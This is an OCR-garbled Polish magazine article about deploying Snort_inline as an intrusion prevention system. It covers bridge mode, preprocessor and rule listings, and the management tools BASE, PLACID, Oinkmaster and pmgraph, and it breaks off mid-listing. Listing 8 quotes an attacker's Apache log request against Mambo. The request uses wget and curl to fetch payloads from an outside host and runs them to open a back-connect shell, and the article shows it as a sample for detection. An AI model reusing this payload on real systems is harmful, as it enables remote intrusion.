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stopien trudnosci

sposoby na utworzenie
dedykowanego urzadzenia
najlepiej odpowiadajacego
srodowisku, ktére chcemy
chronié.

nort to w zasadzie system detekcji wia-
S man (ang. Intrusion Detection System,

IDS), jego natywny tryb dziatania opiera
sie wiec na wykorzystaniu karty sieciowej nastu-
chujacej ruchu w danym segmencie sieci.

Aby Snort_inline byt w stanie przetwarzaé
ruch w segmencie sieci musi on zosta¢ niewi-
dzialnie wen wigczony, za pomocag dwdch kart
sieciowych w trybie mostka (ang. bridge) oraz
funkcjonalnosci inline. Funkcjonalnos¢ te za-
pewnia nam kolejkowanie ruchu poprzez ipta-
bles (ip _queue); nie jest to jednak wszystko,
musimy bowiem wiedzie¢ takze, na poziomie ip-
tables, ktéry ruch kolejkowac. Dzigki temu trybo-
wi pracy Snort_inline moze on zachowywac sie
jak kazdy inny system zapobiegania wtamaniom
(ang. Intrusion Prevention System, IPS) i bloko-
wac nawigzywane potgczenia. Aby Snort mogt
dziata¢ jako system zapobiegania wtamaniom
musi on zosta¢ skompilowany z opcjg pobiera-
nia flex-response, co pozwala mu na resetowa-
nie ruchu, ktéry ma by¢ blokowany.

Podsumowujgc, mozemy stwierdzi¢ ze
Snort_inline to zdecydowanie najefektywniej-
szy i najdoktadniejszy tryb, jako ze odrzuca
on ruch w sieci na podstawie zatadowanych
uprzednio regut.
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/Wykorzystanie Snort_inline okazalo sie skuteczng strategia na
zabezpieczenie sieci wewnetrznych, DMZ oraz domowych, w
przypadku wielu ré6znych srodowisk i scenariuszy. Aby narzedzie
to dziatato poprawnie w trybie drop powinno ono adaptowac¢
sie do wlasciwosci srodowiska, ktére chroni. Z tego wzgledu
przedstawimy tutaj nie tylko techniki konfiguracji, ale takze

Snort_inline w sieci lokalnej
Pierwsza czes¢ niniejszego artykutu poswie-
cona bedzie krotkiemu wprowadzeniu do za-
gadnienia Snort_inline w sieci lokalnej. Zakta-
damy, ze ruch w LANie zorientowany jest gtow-
nie na klientéw. Na tej podstawie zdefiniowac
mozna nastepujace klasy ruchu w sieci:

* poczta, klienci WWW, p2p, komunikatory,
spyware, malware, wirusy, trojany, vpn.

Wspdlng cechg wszystkich tych typow z punk-
tu widzenia IDS / IPS jest, ze nie mozemy prze-
twarza¢ ruchu zaszyfrowanego; oznacza to
brak na li$cie ustug vpns oraz ssl.

p
Z artykutu dowiesz sie...

jak dziata Snort_inline,
podstaw systemoéw zapobiegania wlamaniom,
+ jak dostraja¢ konfiguracje Snort_inline.

Powinienes wiedzieé...

podstawy TCP/IP w $rodowisku Linux,
* podstawowe zasady dziatania IDSéw.

N




Tu wpisujemy top, zawsze, w kazdym artykule

Rysunek 1 pokazuje poprawne
rozwigzanie dla ochrony tego rodza-
ju, w ktéorym IPS umieszczony po-
miedzy routerem, a resztg sieci po-
zwala nam analizowa¢ ruch, ktéry
chcemy monitorowa¢ badz ochra-
niac.

Po poprawnym przygotowaniu
urzadzenia musimy dowiedzie¢ sie,
jakie reguty i preprocesory Snorta
bedziemy wykorzystywac.

Zatézmy, ze konfiguracja Snorta
znajduje sie w pliku snort_inline.conf
— na przyktad taka, jak dostepna
pod adresem www.snortattack.org/
mambo/script/snort_inline.conf
— i ze dla sieci lokalnej zawiera ona

preprocesory jak pokazano na Li-
stingu 1.

Preprocesory te przedstawia Li-
sting 1. Ponizej znajdziecie krotki
opis poszczegodlnych wymienionych
w nim komponentoéw i funkgcji.
Clamav - procesor ten insta-
lowany jest jedynie wtedy, gdy
zostat wybrany podczas instalacji (--
enable-clamav). Dokonuje on skano-
wania w poszukiwaniu wiruséw z ba-
zy danych Clamava i upewnia sie, ze
nie sg one zaszyfrowane badz spa-
kowane. Preprocesor ten niezmier-

Scenariusze dla Snort_inline
Nalezy zauwazy¢, ze system zorientowany na blokowanie wtamarn powinien by¢ odpo-
wiednio skonfigurowany i gotowy do adaptacji do dowolnych scenariuszy sieciowych
i rodzajéw ruchu. Korzystanie z IPS w trybie inline nie rozwigzuje wszystkich proble-
mow z bezpieczenstwem, pozwala za to na stworzenie scentralizowanego, dynamicz-
nego i wydajnego systemu bezpieczenstwa. IPS powinien wykrywac¢ ruch do i z chro-
nionego zrédta. Dzieki interfejsom sieciowym dziatajacym w trybie mostka mozemy
niezauwazalnie wigczy¢ urzadzenie w sie¢ i w ten sposéb zebra¢ wszelkie niezbedne
dane. Do stworzenia urzadzenia inline potrzebna jest nam wiedza o wszelkich wtasci-
wosciach chronionej sieci — od warstwy sieci po warstwe aplikacji.

Ponizej opiszemy kilka przyktadéw rodzajow segmentéw sieciowych, w ktorych
implementacja IPS w trybie inline mogtaby przynies¢ korzysci zwiekszajac bezpie-
czenstwo catego systemu:

» sie¢ wewnetrzna; grupa klientow obstugujacych WWW, poczte, komunikatory, p2p
itd. (Rysunek 1),

« DMZ; grupa serwerdéw zapewniajacych ustugi powigzane z Internetem (smtp, web,
ftp, pop3, imap, mysql itd.) (Rysunek 2),

* LAN + DMZ (Rysunek 3).

Przede wszystkim powinnismy na jaki$ czas uruchomi¢ Snort_inline w trybie IDS (Alert),
ktory to czas proporcjonalny jest do rozmiaru sieci (innymi stowy, im wieksza liczba sys-
teméw w niej, tym wiecej potrzeba czasu). W okresie tym powinnismy:

« wychwyci¢ awarie (problemy z wydajnoscig badz sktadowaniem danych, spowol-
nienia itd.),
» przeanalizowa¢ ruch w sieci pod katem fatszywych alarméw.

W ten sposob obserwujac zebrane dane mozemy dokonaé zmian w konfiguracji i zop-
tymalizowaé¢ dziatanie urzadzenia. Warto zauwazyé, ze w poréwnaniu z rozwigzania-
mi komercyjnymi implementacja otwartego IPS moze nie by¢ tak prosta, jak sie to mo-
ze wydawac, mozesz mie¢ zatem pewne problemy z usuwaniem wielu fatszywych alar-
mow na pierwszym etapie procedury dostrajania.

Sugerujemy instalacje Snort_inline na dedykowanym komputerze i odpowiednig
organizacje jego zasobéw sprzetowych (CPU, RAM), wedtug nastepujacych, prostych
zasad: wieksza liczba regut wymaga wigcej RAMu, za$ duza intensywnos$c¢ ruchu w
sieci zwieksza obcigzenie procesora.

Niedawne testy sieciowe pokazaty, ze do zabezpieczenia potgczenia ADSL
(1280/256) potrzebny jest system Geode o czestotliwosci zegara 266 MHz i z 128 MB
RAMu (w przypadku tysigca regut). Dla pasm o szerokos$ci wiekszej niz 1 Mbps zale-
camy Pentium 4 1 GHz z 512 MB RAM (w przypadku trzech tysiecy regut).

~

nie wydajnie blokuje e-maile zainfe-
kowane na potrzeby phishingu. Wy-
korzystuje on nastepujace funkcje:

* ports — lista portéw do skanowa-
nia (all, 122 — oprécz 22, 110 — tyl-
ko 110)

* toclientonly — okresla kierunek
skanowanego ruchu

* action-drop — informuje urzadze-
nie, jak reagowac na wirusy

* dbdir — katalog zawierajgcy baze
danych definicji Clamava

* dbreloadtime — CO ile czasu baza
powinna zosta¢ przetadowana

Perfmonitor — preprocesor ten po-
zwala nam na zapisywanie w postaci
tekstowej wszelkich statystyk zwig-
zanych z wydajnos$cig oraz przepty-
wem danych w sieci. Jest on krytycz-
ny dla poprawnego funkcjonowania
narzedzia pmgraph, o ktérym powie-
my wiecej pézniej. Rowniez i ten pre-
procesor nalezy uruchomi¢ podczas
instalacji (——enable—perfmon). Posia-
da nastepujace funkcje:

* time - Cczas niezbedny do prob-
kowania odczytu danych

Router

Firewall

Workstations

Rysunek 1. Ustawiamy urzgdzenie
w sieci lokalnej
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* rile - $ciezka do pliku z danymi

- maksymalna liczba re-
kordéw, jaka moze znalez¢ sie w
jednym pliku

®* pkent

Flow — preprocesor ten potrzebny
jest do dziatania innych preproce-
soréw, takich jak flowbits detection
plug-in CZY flow-portscan. W skrécie,
preprocesor Flow pozwala Snortowi
przechowywa¢ mechanizmy akwi-
zycji danych. Ma nastepujace funk-
cje:

* stats_interval — parametr ten
okresla przedziaty czasu, w se-
kundach, w ktérych Snort bedzie
zrzucac statystyki na standardo-
we wyjscie.

* Hash — parametr ten okresla me-
tode mieszania. Wartos¢ 1 defi-
niuje mieszanie po bajcie, war-
tos¢ 4 — mieszanie po liczbie cat-
kowite;.

Stream 4 — preprocesor ten daje
Snortowi umiejetno$¢ widzenia pod-
stawowych wilasciwosci pakietow
oraz to, gdzie zostat wygenerowany
(klient czy serwer). Cytujac Marty-
'‘ego Roescha: Zaimplementowatem
stream4 na skutek checi uzyskania
potezniejszych mechanizméw po-
nownego sktadania strumieni i obro-
ny przed najnowszymi 'atakami bez-
stanowymi. Wykorzystuje nastepuja-
ce funkcje:

* disable evasion alerts — WY-
tacza alarmy zapisywane przez
stream4

®* midstream drop alerts — Na-
kazuje preprocesorowi blokowa-
nie potaczen generowanych bez
tworzenia danego strumienia.

Tryb mostka

ce operacje:

/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 ethO
/usr/sbin/brectl addif br0 ethl
/sbin/ifconfig br0 up

stat z nim skojarzony.

\

Ustawienie dwodch kart w tryb mostka oznacza potaczenie ich funkcjonalnosci w
warstwie drugiej, co czyni je przezroczystymi dla ruchu w sieci. W trybie tym pa-
kiety przekazywane sg z jednej karty do drugiej, co pozwala na poprawne przeka-
zywanie ruchu. Aby uruchomic¢ ten tryb pod Linuksem nalezy wykonac¢ nastepuja-

Instalujemy pakiet bridge-utils - apt-get install bridge-utils; potrzebne
bedzie jadro w wersji 2.6, w przeciwnym razie nalezy ponownie skompilowac¢ jadro
wersji 2.4 wtaczywszy uprzednio modut mostka. Mostek pomiedzy dwoma kartami
sieciowymi mozna zestawi¢ nastepujaco:

Adres MAC przypisany brO bedzie taki sam, jak adres pierwszego interfejsu, ktory zo-

Rpc decode — preprocesor ten po-
nownie skfada strumienie rpc z po-
jedynczych pakietow celem utatwie-
nia ich analizy, jezeli obecny jest pre-
procesor stream4 mozliwe jest prze-
twarzanie tylko ruchu wychodzace-
go od klientéw.

Telnet decode — preprocesor
ten normalizuje przeptyw znakéw
w sesjach protokotu telnet. Nale-
zy poda¢ mu porty, ktére ma prze-
twarzac.

Kiedy juz zdefiniowaliSmy preproce-
sory, Snort potrzebuje okreslenia w
konfiguracji odpowiednich regut. Ist-
nieje wiele réznych rodzajow regut:

* alert — generuje komunikat alar-
mowy, a nastepnie odnotowu-
je go go w pliku bgdz bazie da-
nych.

* log— zapisuje do pliku badz bazy
danych.

* pass — ignoruje wybrany przez
siebie ruch.

* drop—za pomocy iptables odrzu-
ca pakiet, a nastepnie odnotowu-
je go w pliku badz bazie danych

* reject —W przypadku TCP; pota-
czenie jest resetowane z pomocg
iptables, w przypadku UDP wy-
syftany jest komunikat icmp host
unreachable; nastepnie zdarze-
nie odnotowywane jest w pliku
badz bazie danych

* sdrop — odrzuca pakiet za pomo-
cq iptables nie logujac go.

W przedstawionym tutaj przykta-
dzie zadaniem reguty jest blokowa-
nie miosito.com; jest to cze$¢ zbio-
ru regut stuzgcego blokowaniu ru-
chu kierowanego do sieciowych ka-
syn nieprzestrzegajacych regut wio-
skiego prawa. Funkcja drop okresla
dziatanie, ktére iptables musi wyko-
nac¢ jak tylko reguta zostanie zasto-
sowana.

midstream drop_alerts

preprocessor rpc_decode: 111 32771

preprocessor bo

preprocessor telnet decode

preprocessor flow:stats_interval 0 hash 2

preprocessor streamé4 reassemble: both

Listing 1. Zalecane preprocesory dla sieci lokalnej

preprocessor perfmonitor: time 60 file/var/log/snort/perfmon.txt pktcnt 500

preprocessor stream4: disable evasion alerts

preprocessor clamav:ports all !22 !443,toclientonly, action-drop,dbdir /var/lib/clamav,dbreload-time 43200
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Tu wpisujemy top, zawsze, w kazdym artykule

drop tcp $home net any ->
any $http ports (
msg:"snortattack-italian-law";
flow:established;content: "miosito.com";
classtype:policy-violation;
reference:url,

www.snortattack.net;

Przeznaczeniem konfiguracji przed-
stawionej na Listingu 2 jest kontro-
la aplikacji p2p, ochrona przed ata-
kami z wewnatrz (ktore to ataki sta-
nowig niemal 70% wszystkich ata-
koéw), a przede wszystkim selekcja
tresci ogladanych przez wewnetrz-
ne hosty.

Snort_inline w DMZ
Druga cze$¢ artykutu poswiecimy
krotkiemu wprowadzeniu do zagad-
nienia Snort_inline w DMZ.

Jak wspomnieliSmy wczesniej,
ruch sieciowy w DMZ z zatozenia
dotyczy¢é bedzie gtéwnie serwe-
row. Na tej podstawie zdefiniowac
mozemy nastepujace klasy ruchu
w DMZ:

+ serwer poczty, serwer WWW,
serwer bazodanowy, serwer apli-
kacji, wirus, vpn.

LD
i

Router

Listing 2. Lista przydatnych regut do ochrony sieci lokalnej

# 0gblne

include /etc/snort inline/rules/bleeding.rules

# Gidéwnie spyware

include $RULEiPATH/bleedingfmalware.rules

include $RULE PATH/malware.rules
include $RULE PATH/spyware-put.rules
# Eksploity i ataki bezposrednie
include $RULE PATH/exploit.rules

include $RULE PATH/bleeding-exploit.rules
include $RULE PATH/community-exploit.rules

# DOS

include $RULE PATH/dos.rules

include $RULE PATH/ddos.rules

include SRULE PATH/bleeding-dos.rules
# Dotyczace WWW

include S$RULE PATH/web-client.rules

include $RULE PATH/community-web-client.rules

# Sygnatury poczty

include $RULE7PATH/community7mailfclient.rules

# Trojany, wirusy oraz spyware
include $RULE PATH/virus.rules

include $RULE PATH/bleeding-virus.rules
include $RULE PATH/community-virus.rules

# Peer to peer
include $RULE PATH/p2p.rules
include SRULE PATH/bleeding-p2p.rules

Jednym z mozliwych rozwigzan
dla tego rodzaju segmentéw sie-
ciowych jest umieszczenie wen
IPS. Tym razem system umiesz-
czony bedzie pomiedzy routerem,
a DMZ.

Firewall

Switch

Server

Rysunek 2. Przyktad sieci DMZ

Workstations

Jedynym preprocesorem, ktérego
konfiguracja ulegta zmianie jest Cla-
mav — wazne jest zdefiniowanie dlan
parametru toserveronly aby wybrac
jedynie ruch skierowany do serwe-
row. Patrz Listing 3.

Frag3 — preprocesor ten zaste-
puje frag2 i jest niezbedny do re-
konstrukcji strumienia danych roz-
cztonkowanego wskutek fragmenta-
cji transmisji.

Reguty dla sieci DMZ

Po zdefiniowaniu wszystkich pre-
procesoréw musimy podaé Snortowi
troche regut. Ponizej znajdziesz kilka
ich zastosowan:

* max _frags — maksymalna liczba
Sledzonych fragmentéw

* policy — wybiera sposob frag-
mentacji, dostepne metody to
first, ast, bsd, bsd-right, linux.

Domysinym ustawieniem jest
bsd.

* detect anomalies — Wykrywa
btedy fragmentaciji.

Reguty zalecane do uzytku w sieci
DMZ przedstawia Listing 4.
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Snort w sieci mieszanej
Jezeli chodzi o urzadzenie w sie-
ci mieszanej (pokazanej na Rysun-
ku 3), zalecamy nastepujace urza-
dzenia.

Preprocesory dla sieci miesza-
nej znalez¢é mozna na Listingu 5, od-
powiednie reguty zas$ przedstawia
Listing 6. Przeznaczeniem opisane;j
w nich konfiguracji jest kontrola wi-
rusow oraz ochrona maszyn przed
atakami z zewnatrz w oparciu o blo-
kowanie eksploitéw wymierzonych
w ustugi. Kilka réznych technik ata-
ku przedstawimy pézniej, na bazie
praktycznych przyktadow.

Monitorowanie atakow i
zarzadzanie regutami
Interfejsy, ktére przeanalizujemy i
opiszemy, opierajg sie na bazach
danych. W zasadzie, wszystkie wy-
niki ze Snorta sktadowane bedg w
réznego rodzaju bazach danych: my-
sql, postgres itp. Narzedzia te réznig
sie miedzy sobg i sg napisane w roz-
nych jezykach, jednak ogdlnie rzecz
biorgc wszystkie robig to samo. Sg
to: ACID, BASE, PLACID, SNORT
REPORT, SGUIL itd.

-~

~

Listing 3. Lista preprocesoréw dla sieci DMZ

Preprocesory dla DMZ

preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500

preprocessor flow: stats_interval 0 hash 2

preprocessor frag3 global: max frags 65536

preprocessor frag3 engine: policy first detect anomalies

preprocessor streamd: disable evasion_alerts detect scans inline state

preprocessor stream4 reassemble: both

preprocessor rpc_decode: 111 32771

preprocessor bo

preprocessor telnet decode

preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/
clamav, dbreload-time 43200 //

Narzedzia te, napisane w PHP
badz Pythonie, maja krytyczne zna-
czenie dla dobrego IPS / IDS — kry-
tyczng jest bowiem wiedza o tym, co
dzieje sie z naszym urzadzeniem
i naszg siecia. Interfejsy te bardzo
prosto sie instaluje, wystarczy roz-
pakowa¢ archiwa i wyedytowa¢ od-
powiednie pliki konfiguracyjne tak,
by narzedzia taczyty sie z bazg da-
nych Snorta.

Tutaj zdecydowalismy sie przyj-
rze¢ dwém z nich: BASE oraz PLA-
CID.

Pierwsze z nich jest pochodng
ACID (Analysis Console for Intru-

include $RULE_PATH/bad-traffic.rules
include $RULE PATH/exploit.rules
include $RULE PATH/scan.rules
include $RULE PATH/dos.rules
include $RULE PATH/ddos.rules
include $RULE PATH/dns.rules
include $RULE_PATH/web-cgi.rules
include $RULE PATH/web-iis.rules
include SRULE PATH/web-misc.rules
include SRULE PATH/web-php.rules

include $RULE PATH/netbios.rules
include $RULE PATH/mysql.rules
include $RULE PATH/virus.rules

include $RULE_PATH/web-attacks.rules
include $RULE PATH/backdoor.rules

include $RULE PATH/bleeding-dos.rules

Listing 4. Lista regut zalecanych dla DMZ

include $RULE_PATH/community-web-php.rules

include $RULE_PATH/attack-responses.rules

include $RULE PATH/bleeding-virus.rules
include SRULE PATH/bleeding-attack response.rules

include
include
include
include
include
include
include

include

SRULE_PATH/bleeding-exploit.rules
SRULE_PATH/bleeding-malware.rules
SRULE_PATH/bleeding-scan.rules
SRULE_PATH/bleeding-web.rules
SRULE_PATH/community-exploit.rules
SRULE_PATH/community-ftp.rules
SRULE_PATH/community-web-misc.rules
SRULE_PATH/community-smtp.rules
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sion Database); BASE to skrét od
Basic Analysis and Security En-
gine (patrz Rysunek 4). Narze-
dzie to pozwala na przegladanie i
przetwarzania bazy danych Snor-
ta i jest napisane w PHP. Jego sitg
jest wiele opcji badawczych oraz
mozliwos¢ grupowania alarméw
na podstawie ich adreséw IP, jak
rowniez innych parametrow, takich
jak czas badz rodzaj reguty. Pod-
stawowa implementacja jest pot-
automatyczna, wystarczy rozpako-
wacé archiwum tar.gz w domysinym
katalogu Apache'a (/var/www/),
zmieni¢ wtasciciela utworzone-
go wen folderu oraz przejs¢ do je-
go pierwszego poziomu za pomo-
ca przegladarki. Zautomatyzowa-
na procedura przeprowadza nas
przez tworzenie niezbednych ta-
bel i pozwala rozpocza¢ korzysta-
nie z aplikacji.

tar -zxvf base-1l.2.4.tar.gz
mv base-1.2.4 base
mv base /var/www

chown apache. /var/www/base

PLACID napisany zostat w Py-
thonie i jest, podobnie jak BA-
SE, przegladarka zdarzen w ba-
zie danych. Zapewnia takg samag
funkcjonalnos¢ jak BASE, jednak
stwierdzono, ze dziata szybciej
w przypadku wiekszych baz da-
nych. Instalacja PLACID nie jest
taka prosta, trzeba zainstalowaé
Pythona 2.3 oraz okresli¢ w pli-
ku konfiguracyjnym Apache'a kilka
niezbednych do poprawnego dzia-
tania parametrow:




Tu wpisujemy top, zawsze, w kazdym artykule

Addheandler cgi-script .cgi .sh .pl .py
<Directory /var/www/placid>
Options ExecCGI

</Directory>

Ponadto, aby ustawi¢ parametry pota-
czenia z bazg danych nalezy zmodyfi-
kowac plik konfiguracyjny PLACID:

tar -zxvf placid-2.0.3.tar.gz
mv placid-2.0.3 placid
mv placid /var/www
chmod +x /var/www/
placid/placid.py
vi /var/www/placid/
placid.cfg
dbhost=localhost
db=snort
passwd=password
user=snort
port=3306
resolvedns=yes
entrieslimit=300
debug=no

eventaltviews=yes

Do automatycznej aktualizacji re-
gut zalecamy napisany w Perlu pro-
gram Oinkmaster, ktéry pozwala
nam na zachowanie aktualno$ci na-
szych regut dzieki pobieraniu ich ko-
du z réznych zrodet: Snort VRT, spo-
tecznos¢ Snort, spotecznos¢ ble-
eding-snort, zewnetrzne oraz wia-
sne (lokalne).

Ponizej znajdziecie
konfiguracji Oinkmastera:

instrukcje

Oinkmaster.conf:

# Przyklad dla Snort-current (
"current" oznacza obrazy z cvs).

url = http://www.snort.org/pub-bin/
oinkmaster.cgi/
[codicediregistrazione]/
snortrules-snapshot-
CURRENT.tar.gz

# Przyklad dla regul ze spolecznoéci

url = http://www.snort.org/pub-bin/
downloads.cgi/Download/
comm_rules/
Community-Rules-2.4.tar.gz

# Przyklad dla regui z

# projektu Bleeding Snort

url = http://www.bleedingsnort.com/
bleeding.rules.tar.gz

# Jezeli wolisz pobieraé¢ archiwa regul

# nie za pomoca Oinkmastera, mozesz

# wskaza¢ mu plik na lokalnym systemie # pobieraé¢ reguly bezpoérednio z

# plikéw za pomoca file://<filename>, lokalnego
na przyktad: # katalogu (nie nalezy tego myli¢ z
# url = file:///tmp/snortrules.tar.gz # katalogiem docelowym) .

# W rzadkich przypadkach mozemy chciec # url = dir:///etc/snort/src/rules

Router 4%’
IPS
LAN
Wan
X Switch
Firewall
DMz
Switch : :
|
I

T Workstations

Server

Rysunek 3. Przyktad sieci mieszanej
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Rysunek 4. Prosty obraz ekranu

Listing 5. Preprocesory dla sieci mieszanej

preprocessor perfmonitor: time 60 file /var/log/snort/perfmon.txt pktcnt 500

preprocessor flow: stats_interval 0 hash 2

preprocessor frag3 global: max frags 65536

preprocessor frag3_engine: policy first detect anomalies

preprocessor stream4: disable evasion_alerts detect_scans inline_ state

preprocessor streamé4 reassemble: both

preprocessor rpc_decode: 111 32771

preprocessor bo

preprocessor telnet decode

preprocessor clamav: ports 25 80, toserveronly, action-drop, dbdir /var/lib/
clamav, dbreload-time 43200

- /
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Listing 6. Zalecane reguty dla
sieci mieszanej

# Ogblne

include $RULE_PATH/bleeding.rules

include $RULE PATH/ftp.rules

include $RULE PATH/telnet.rules

include $RULE_PATH/dns.rules

include $RULE PATH/tftp.rules

include $RULE PATH/x1l.rules

include $RULE_PATH/misc.rules

include $RULE PATH/nntp.rules

include $RULE_PATH/other-ids.rules

include $RULE_PATH/community-
ftp.rules

include $RULE PATH/community-
misc.rules

# Giownie spyware

include $RULE PATH/bleeding-
malware.rules

include $RULE PATH/malware.rules

include $RULE PATH/spyware-
put.rules

include $RULE PATH/aams7.rules

# Zagadnienia sieciowe

include $RULE PATH/bad-
traffic.rules

include $RULE PATH/snmp.rules

# Eksploity i ataki bezposdrednie

include $RULE PATH/exploit.rules

include $RULE PATH/bleeding-
exploit.rules

include $RULE PATH/community-
exploit.rules

# Skany i rozpoznania

include $RULE PATH/scan.rules

include $RULE PATH/bleeding-
scan.rules

# Nietypowe

include $RULE PATH/finger.rules

# R-usitugi itd.

include $RULE PATH/rpc.rules

include $RULE PATH/rservices.
rules

# DOS

include $RULE PATH/dos.rules

include $RULE_PATH/ddos.rules

include $RULE PATH/bleeding-
dos.rules

# Zwiazane z WWW

include $RULE PATH/web-iis.rules

include $RULE_PATH/web-
client.rules

include $RULE_PATH/web-
php.rules

include $RULE PATH/web-
attacks.rules

include $RULE PATH/bleeding-
web.rules

include $RULE PATH/community-
web-dos.rules

include $RULE_PATH/community-
web-php.rules

# Sygnatury SQL oraz baz danych

include $RULE_PATH/sql.rules

include $RULE PATH/oracle.rules

/
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Po automatycznej aktualizacji mo-
zemy wybra¢, ktore reguty wiaczyé
badz wytaczyc:

Oinkmaster.conf:

disabledsid [sidy regul]

Oinkmaster umozliwia automatycz-
ng zamiane aplikacji regut. Poniz-
sza opcja umieszczona w pliku
konfiguracyjnym zastgpi wystapie-
nia aplikacji alert przez drop:

Oinkmaster.conf:

modifysid * "“alert" | "drop"

Efektywnym systemem zarzadzania
regutami jest SRRAM, ktéry, chociaz
cokolwiek przestarzaty, pozwala na
sktadowanie regut w dedykowanej
bazie danych i zarzgdzanie nimi po-
przez WWW, z wykorzystaniem pro-
stego skryptu przetwarzajgcego pliki
regut. Patrz Rysunek 5.

Aby narzedzie to mogto pobiera¢
reguty z opcja drop nalezy zmienié
fragment jego kodu zrédtowego:

rules_import.pl:
if (/ralert/) {
# jezeli dana linia to alert
in
if (/~drop/) {

# jezeli dana linia to drop

Aby proces importu regut zakohczyt
sie sukcesem musimy stworzy¢ ba-
ze danych, ktéra bedzie zawieraé
zbidr regut:

# mysqladmin -uroot -p create snort

rules_mgt

A co za tym idzie, odpowiednio zmo-
dyflkOWﬂC pllk rules import.pll

use DBD::mysql;

=== Modify to fit your system ===
$rules list = 'snort rules file list';
$mysql _host = 'localhost';
$mysql _port = '3306';
$mysql db = 'snort rules';
$mysql user = 'root';

$mysql passwd = 'password';

oraz skrypt cgi rules mgt.pl Uru-
chamiany przez serwer WWW:

www.hakin9.org

use DBI;

use DBD::mysql;

use CGI;

# === Modify to fit your system ===
Sthis_script='rules mgt.pl';

Scgi dir='cgi-bin';

$mysql_host = '127.0.0.1';

Smysql port = '3306';

S$mysql db='snort rules mgt';
Smysql user='root';

$mysql passwd='";

Teraz wywotaj polecenie #per1
rules import.pl | SKieruj swojg
przegladarke pod adres: http://IP/
cgi-bin/rules_mgt.pl

Kolejnym podstawowym w przy-
padku IDS / IPS narzedziem jest
PMGRAPH. Jest to prosty skrypt
napisany w Perlu generujgcy dwie
strony w HTML zawierajagce ta-
bele przedstawiajgce wydajnosc¢
Snorta. By mégt on dziata¢, w pliku
konfiguracyjnym koniecznie trze-

-~
Listing 7. Zalecane reguty dla

sieci mieszanej, cd.

include $RULE PATH/mysql.rules

include $RULE PATH/community-
sgl-injection.rules

# Dotyczace Windows

include SRULE PATH/netbios.rules

# Odpowiedzi na kompromitacje

include $RULE_PATH/attack-
responses.rules

include $RULE PATH/bleeding-
attack_response.rules

# Sygnatury poczty

#include SRULE_PATH/smtp.rules

include $RULE_PATH/imap.rules

include $RULE PATH/pop2.rules

include $RULE PATH/pop3.rules

include $RULE_PATH/community-
mail-client.rules

# Trojany, wirusy oraz spyware

include $RULE_PATH/backdoor.rules

include SRULE PATH/virus.rules

include $RULE PATH/bleeding-

virus.rules

include $RULE PATH/community-
virus.rules

# Sygnatury polityki

include $RULE PATH/porn.rules

include $RULE PATH/p2p.rules

include $RULE_PATH/bleeding-

p2p.rules

include $RULE PATH/bleeding-
inappropriate.rules

include $RULE PATH/community-

inappropriate.rules

\_ /




Tu wpisujemy top, zawsze, w kazdym artykule

ba uaktywni¢ preprocesor perfoni-
tor, z kolei do poprawnego oglada-
nia tabel niezbedne jest narzedzie
rrdtool. Cato$¢ mozna bezproble-
mowo dodac do pliku crontab, jako
ze generowane obrazki i strony ma-
ja charakter przyrostowy. Pmgraph
przedstawia Rysunek 6.

uruchamia¢é bedziemy polecenie:
pmgraph.pl
ktérym publikujemy tabele]

[Sciezka do folderu, w
/var/
log/snort/perfmon.txt .

Chcac dodac to do crona nale-
zy zastosowaé nastepujacq linijke:
*/30 * * * * /root/pmgraph-0.2/

pmgraph.pl [éciezka do folderu, w

Implementacja
Snorta w trybie inline
Teraz opiszemy pokrétce, jak za-
instalowa¢ serwer IPS oparty na
Snorcie w trybie inline za pomo-
cq skryptéw dostepnych na stronie
www.snortattack.org.

Zastosowanie skryptéw ze snor-

W przypadku konfigura-  xtérym publikujemy tabele] /var/ tattack to najprostszy i najszybszy
Cji  preprocesora:  preprocessor log/snort/perfmon.txt, aby polece- sposéb na rozwigzanie zaleznosci
perfmonitor: time 60 file /var/ nie bylo wywotywane codziennie co i okre$lenie opcji kompilacji. Dzieki
log/snort/perfmon.txt pktent 500  trzydziesci minut. skryptom tym mozna uzyska¢ dzia-

tajacy IPS w mniej niz 45 minut, co
™ pozwala na skoncentrowanie sie na
procesach: konfiguracji i optymali-
zacji. Z drugiej strony, aby w petni
zrozumie¢ implementacje systemu
trzeba samodzielnie zainstalowac
wszystkie rozne pakiety. Zaawan-
sowanym uzytkownikom polecamy
przeczytanie podrecznika uzytkow-
nika instalacji krok po kroku, dostep-
nego w sekcji dokumentacji serwi-
su snortattack, bez korzystania ze
skryptow.
Skrypty i instrukcje snortat-
tack automatyzujg wiele procedur

Listing 8. Pakiety z logow Apache'a

216.63.z.2 - -[28/Feb/2006:12:30:44+1300] "GET/
index2.php?option=com contenté&do pdf=1&id
=lindex2.php? REQUEST [option]=com content

& REQUEST [Itemid]=1&GLOBALS=&mosConfig_
absolute path=http://66.98.a.a/cmd.txt?&cmd
=cd%20/tmp;wget%20216.99.b.b/cback; chmod
%$20744%20cback; ./cback%20217.160.c.c%208081
;wget%20216.99.b.b/dc. txt;chmod%20744%20dc. txt;
perl%20dc.txt%20217.160.c.c%208081;cd%20/var/tmp;
curl%20-0%20cback%20http://216.99.b.b/cback;
chmod%20744%20cback; . /cback%20217.160.c.c%
208081;curl%20-0%20dc.txt%20http://216.99.b.b/
dc.txt;chmod$20744%20dc. txt;perls20dc.txt%20217
.160.¢c.c%208081;echo%20YYY;echo| HTTP/1.1

"404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; oraz wyjasniaja, jak zainstalowaé
Windows NT 5.17)" "-" Olocalhost Snort_inline pod nastepujacymi dys-
trybucjami:
~

Listing 10. OdpowiedZ Snorta na przywileje roota w Mambo « Debian

11:12:56.824718 TP 10.0.x.x.514 * FedoraCore2,3,4,5
> 10.0.y.yy.514: SYSLOG
auth.alert, length: 164 Podczas implementacji dystrybu-
0x0000: 4500 00cO 0189 4000 4011 23d4 0a00 0078 E..... @.@.#....x CJI na|eiy Wy}qczyé firewall oraz se-
0x0010: 0a00 0059 0202 0202 00ac 2937 3c33 333e ...Y...... ) 7<33> linux.
0x0020: 736e 6£72 743a 205b 313a 3439 383a 365d snort:.[1:498:6] ., L
0x0030: 2041 5454 4143 4b2d 5245 5350 4fde 5345 .ATTACK-RESPONSE Po  zakoficzeniu  implementa-
0x0040: 5320 6964 2063 6865 636b 2072 6574 7572 S.id.check.retur cji ~ pobieramy  current-attack.sh
0x0050: 6e65 6420 726f 6£74 205b 436c 6173 7369 ned.root.[Classi (www.snortattack.org/mambo/
